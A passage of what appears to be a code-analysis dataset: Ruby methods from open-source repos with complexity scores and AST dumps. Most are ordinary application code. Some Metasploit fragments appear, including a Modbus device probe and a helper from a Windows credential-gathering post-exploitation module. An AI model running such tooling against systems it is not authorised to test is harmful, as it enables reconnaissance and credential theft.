messages\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Handler\"]},\"BindAwsSsm\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"listener_threads=\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"conn_threads=\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"listener_pairs=\",{\"type\":\"hash\",\"children\":[]}]}]}]}","id":"1e452bfc-7ee5-41b8-a755-d6ac119b7bf7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/sessions/meterpreter_python.rb","start_line":85,"raw_source":"def initialize(rstream, opts={})\n    super\n    self.base_platform = 'python'\n    self.base_arch = ARCH_PYTHON\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rstream\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"base_platform=\",{\"type\":\"str\",\"children\":[\"python\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"base_arch=\",{\"type\":\"const\",\"children\":[null,\"ARCH_PYTHON\"]}]}]}]}","id":"1fadbbab-064e-4d60-b1a1-2ce9d3f30d59"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/database_configurations/hash_config_test.rb","start_line":52,"raw_source":"def test_keepalive_default_when_nil\n        config = HashConfig.new(\"default_env\", \"primary\", keepalive: nil, adapter: \"abstract\")\n        assert_equal 600, config.keepalive\n      end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_keepalive_default_when_nil\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HashConfig\"]},\"new\",{\"type\":\"str\",\"children\":[\"default_env\"]},{\"type\":\"str\",\"children\":[\"primary\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"keepalive\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"adapter\"]},{\"type\":\"str\",\"children\":[\"abstract\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[600]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"keepalive\"]}]}]}]}","id":"e351c405-f1d8-4f44-b7e3-e0884099b5e9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/integrations/loggable.rb","start_line":5,"raw_source":"def log_info(message, params = {})\n      message = build_message(message, params)\n\n      logger.info(message)\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"log_info\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]},{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[null,\"build_message\",{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}","id":"746ec6bd-0405-4dea-b58f-cc65f179154d"}
{"repo_name":"rails","file_path":"./repos/rails/actioncable/lib/action_cable/remote_connections.rb","start_line":76,"raw_source":"def valid_identifiers?(ids)\n          keys = ids.keys\n          identifiers.all? { |id| keys.include?(id) }\n        end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_identifiers?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ids\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"keys\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids\"]},\"keys\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"identifiers\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]}","id":"04201a8e-ba53-42a1-b17d-99126a6067c3"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/concerns/api/badges_controller.rb","start_line":35,"raw_source":"def destroy\n      badge = Badge.find(params[:id])\n      badge.destroy\n      head :no_content\n    end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"badge\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Badge\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"badge\"]},\"destroy\"]},{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"sym\",\"children\":[\"no_content\"]}]}]}]}","id":"a81051b2-852a-46ed-a789-a0a3895de851"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/scada/modbusdetect.rb","start_line":37,"raw_source":"def run_host(ip)\n    # read input register=func:04, register 1\n    sploit = \"\\x21\\x00\\x00\\x00\\x00\\x06\\x01\\x04\\x00\\x01\\x00\\x00\"\n    sploit[6] = [datastore['UNIT_ID']].pack(\"C\")\n    connect()\n    sock.put(sploit)\n    data = sock.get_once\n\n    # Theory: When sending a modbus request of some sort, the endpoint will return\n    # with at least the same transaction-id, and protocol-id\n    if data\n      if data[0, 4] == \"\\x21\\x00\\x00\\x00\"\n        print_good(\"#{ip}:#{rport} - MODBUS - received correct MODBUS/TCP header (unit-ID: #{datastore['UNIT_ID']})\")\n      else\n        print_error(\"#{ip}:#{rport} - MODBUS - received incorrect data #{data[0, 4].inspect} (not modbus/tcp?)\")\n      end\n    else\n      vprint_status(\"#{ip}:#{rport} - MODBUS - did not receive data.\")\n    end\n\n    disconnect()\n  end","complexity_score":32.18,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sploit\",{\"type\":\"str\",\"children\":[\"!\\u0000\\u0000\\u0000\\u0000\\u0006\\u0001\\u0004\\u0000\\u0001\\u0000\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"[]=\",{\"type\":\"int\",\"children\":[6]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"UNIT_ID\"]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"C\"]}]}]},{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"sploit\"]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[4]}]},\"==\",{\"type\":\"str\",\"children\":[\"!\\u0000\\u0000\\u0000\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - MODBUS - received correct MODBUS/TCP header (unit-ID: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"UNIT_ID\"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - MODBUS - received incorrect data \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[4]}]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\" (not modbus/tcp?)\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - MODBUS - did not receive data.\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}","id":"9efe2101-0aad-49fd-9b29-fd71514caf7d"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/xml_mini.rb","start_line":102,"raw_source":"def backend\n      current_thread_backend || @backend\n    end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"backend\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_thread_backend\"]},{\"type\":\"ivar\",\"children\":[\"@backend\"]}]}]}","id":"cada1f4e-32f6-4a57-8dd1-71659ff59c28"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/cache/redis_cache_store.rb","start_line":210,"raw_source":"def delete_matched(matcher, options = nil)\n        unless String === matcher\n          raise ArgumentError, \"Only Redis glob strings are supported: #{matcher.inspect}\"\n        end\n        pattern = namespace_key(matcher, options)\n\n        instrument :delete_matched, pattern do\n          redis.then do |c|\n            cursor = \"0\"\n            # Fetch keys in batches using SCAN to avoid blocking the Redis server.\n            nodes = c.respond_to?(:nodes) ? c.nodes : [c]\n\n            nodes.each do |node|\n              begin\n                cursor, keys = node.scan(cursor, match: pattern, count: SCAN_BATCH_SIZE)\n                node.unlink(*keys) unless keys.empty?\n              end until cursor == \"0\"\n            end\n          end\n        end\n      end","complexity_score":36.3,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_matched\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"matcher\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},\"===\",{\"type\":\"lvar\",\"children\":[\"matcher\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Only Redis glob strings are supported: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matcher\"]},\"inspect\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pattern\",{\"type\":\"send\",\"children\":[null,\"namespace_key\",{\"type\":\"lvar\",\"children\":[\"matcher\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instrument\",{\"type\":\"sym\",\"children\":[\"delete_matched\"]},{\"type\":\"lvar\",\"children\":[\"pattern\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redis\"]},\"then\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cursor\",{\"type\":\"str\",\"children\":[\"0\"]}]},{\"type\":\"lvasgn\",\"children\":[\"nodes\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"nodes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"nodes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nodes\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"until_post\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cursor\"]},\"==\",{\"type\":\"str\",\"children\":[\"0\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cursor\"]},{\"type\":\"lvasgn\",\"children\":[\"keys\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"scan\",{\"type\":\"lvar\",\"children\":[\"cursor\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"match\"]},{\"type\":\"lvar\",\"children\":[\"pattern\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"const\",\"children\":[null,\"SCAN_BATCH_SIZE\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"empty?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"unlink\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]}]}]}]}]}]}]}]}]}]}]}]}","id":"6654b086-c852-44dd-b70e-7c4679776ecf"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_in_http.rb","start_line":78,"raw_source":"def test_time_as_float\n    d = create_driver\n    time = event_time(\"2011-01-02 13:14:15.123 UTC\")\n    float_time = time.to_f\n\n    events = [\n      [\"tag1\", time, {\"a\"=>1}],\n    ]\n    res_codes = []\n\n    d.run(expect_records: 1) do\n      events.each do |tag, t, record|\n        res = post(\"/#{tag}\", {\"json\"=>record.to_json, \"time\"=>float_time.to_s})\n        res_codes << res.code\n      end\n    end\n    assert_equal [\"200\"], res_codes\n    assert_equal events, d.events\n    assert_equal_event_time time, d.events[0][1]\n  end","complexity_score":29.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_time_as_float\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"d\",{\"type\":\"send\",\"children\":[null,\"create_driver\"]}]},{\"type\":\"lvasgn\",\"children\":[\"time\",{\"type\":\"send\",\"children\":[null,\"event_time\",{\"type\":\"str\",\"children\":[\"2011-01-02 13:14:15.123 UTC\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"float_time\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},\"to_f\"]}]},{\"type\":\"lvasgn\",\"children\":[\"events\",{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"tag1\"]},{\"type\":\"lvar\",\"children\":[\"time\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res_codes\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"run\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expect_records\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"events\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag\"]},{\"type\":\"arg\",\"children\":[\"t\"]},{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"to_json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"float_time\"]},\"to_s\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res_codes\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"200\"]}]},{\"type\":\"lvar\",\"children\":[\"res_codes\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"events\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"events\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal_event_time\",{\"type\":\"lvar\",\"children\":[\"time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"events\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}","id":"fa99195f-14dd-423c-82ae-7130fcd5beee"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/diff/highlight_cache.rb","start_line":90,"raw_source":"def recache_due_to_size?(diff_file)\n        diff_file_class = diff_file.diff.class\n\n        current_patch_safe_limit_bytes = diff_file_class.patch_safe_limit_bytes\n        default_patch_safe_limit_bytes = diff_file_class.patch_safe_limit_bytes(diff_file_class::DEFAULT_MAX_PATCH_BYTES)\n\n        # If the diff is >= than the default limit, but less than the current\n        #   limit, it is likely uncached due to having hit the default limit,\n        #   making it eligible for recalculating.\n        #\n        diff_file.diff.diff_bytesize.between?(\n          default_patch_safe_limit_bytes,\n          current_patch_safe_limit_bytes\n        )\n      end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"recache_due_to_size?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"diff_file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"diff_file_class\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_file\"]},\"diff\"]},\"class\"]}]},{\"type\":\"lvasgn\",\"children\":[\"current_patch_safe_limit_bytes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_file_class\"]},\"patch_safe_limit_bytes\"]}]},{\"type\":\"lvasgn\",\"children\":[\"default_patch_safe_limit_bytes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_file_class\"]},\"patch_safe_limit_bytes\",{\"type\":\"const\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_file_class\"]},\"DEFAULT_MAX_PATCH_BYTES\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_file\"]},\"diff\"]},\"diff_bytesize\"]},\"between?\",{\"type\":\"lvar\",\"children\":[\"default_patch_safe_limit_bytes\"]},{\"type\":\"lvar\",\"children\":[\"current_patch_safe_limit_bytes\"]}]}]}]}","id":"97956e91-fcc2-4b48-9097-93560c7216ba"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/app/models/time_entry.rb","start_line":157,"raw_source":"def current_rate\n    user.rate_at(spent_on, project_id)\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"current_rate\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"rate_at\",{\"type\":\"send\",\"children\":[null,\"spent_on\"]},{\"type\":\"send\",\"children\":[null,\"project_id\"]}]}]}","id":"c094a577-f0a1-405c-b855-3a89a546e7c3"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/version.rb","start_line":104,"raw_source":"def closed?\n    status == \"closed\"\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"closed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"status\"]},\"==\",{\"type\":\"str\",\"children\":[\"closed\"]}]}]}","id":"857546e9-0642-4954-aee3-6a0134502716"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/app/models/bim/bcf/issue.rb","start_line":36,"raw_source":"def of_project(project)\n        includes(:work_package)\n          .references(:work_packages)\n          .merge(WorkPackage.for_projects(project))\n      end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"of_project\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"includes\",{\"type\":\"sym\",\"children\":[\"work_package\"]}]},\"references\",{\"type\":\"sym\",\"children\":[\"work_packages\"]}]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackage\"]},\"for_projects\",{\"type\":\"lvar\",\"children\":[\"project\"]}]}]}]}","id":"cc7220de-3694-4e99-8056-30e4682125a3"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/activities/base_activity_provider.rb","start_line":114,"raw_source":"def event_type(_event_data)\n    activity_provider_options[:type]\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"event_type\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_event_data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"activity_provider_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]}]}","id":"90967dfe-a162-4636-b9c7-a90beb2b15e5"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/workers/import/row_worker.rb","start_line":16,"raw_source":"def perform(row_id)\n    row = BulkImportRow.eager_load(bulk_import: :account).find_by(id: row_id)\n    return true if row.nil?\n\n    imported = BulkImportRowService.new.call(row)\n\n    mark_as_processed!(row, imported)\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"row\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BulkImportRow\"]},\"eager_load\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bulk_import\"]},{\"type\":\"sym\",\"children\":[\"account\"]}]}]}]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"row_id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"imported\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BulkImportRowService\"]},\"new\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"row\"]}]}]},{\"type\":\"send\",\"children\":[null,\"mark_as_processed!\",{\"type\":\"lvar\",\"children\":[\"row\"]},{\"type\":\"lvar\",\"children\":[\"imported\"]}]}]}]}","id":"2bd5db48-4818-4b4d-b039-fb2e92f7b019"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/gpp.rb","start_line":227,"raw_source":"def adsi_query(domain, adsi_filter, adsi_fields)\n    return '' unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Extapi::COMMAND_ID_EXTAPI_ADSI_DOMAIN_QUERY)\n\n    query_result = session.extapi.adsi.domain_query(domain, adsi_filter, 255, 255, adsi_fields)\n\n    if query_result[:results].empty?\n      return '' # adsi query failed\n    else\n      return query_result[:results]\n    end\n  end","complexity_score":15.7,"ast_json":"{\"type\":\"def\",\"children\":[\"adsi_query\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"domain\"]},{\"type\":\"arg\",\"children\":[\"adsi_filter\"]},{\"type\":\"arg\",\"children\":[\"adsi_fields\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"commands\"]},\"include?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Post\"]},\"Meterpreter\"]},\"Extensions\"]},\"Extapi\"]},\"COMMAND_ID_EXTAPI_ADSI_DOMAIN_QUERY\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"query_result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"extapi\"]},\"adsi\"]},\"domain_query\",{\"type\":\"lvar\",\"children\":[\"domain\"]},{\"type\":\"lvar\",\"children\":[\"adsi_filter\"]},{\"type\":\"int\",\"children\":[255]},{\"type\":\"int\",\"children\":[255]},{\"type\":\"lvar\",\"children\":[\"adsi_fields\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"results\"]}]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"results\"]}]}]}]}]}]}","id":"66e815f1-5220-47ec-a5f4-920b4e43a2c3"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane_core/lib/fastlane_core/cert_checker.rb","start_line":55,"raw_source":"def self.installed_identities(in_keychain: nil)\n      install_missing_wwdr_certificates(in_keychain: in_keychain)\n\n      available = list_available_identities(in_keychain: in_keychain)\n      # Match for this text against word boundaries to avoid edge cases around multiples of 10 identities!\n      if /\\b0 valid identities found\\b/ =~ available\n        UI.error([\n          \"There are no local code signing identities found.\",\n          \"You can run\" << \" `security find-identity -v -p codesigning #{in_keychain}\".rstrip << \"` to get this output.\",\n          \"This Stack Overflow thread has more information: https://stackoverflow.com/q/35390072/774.\",\n          \"(Check in Keychain Access for an expired WWDR certificate: https://stackoverflow.com/a/35409835/774 has more info.)\"\n        ].join(\"\\n\"))\n      end\n\n      ids = []\n      available.split(\"\\n\").each do |current|\n   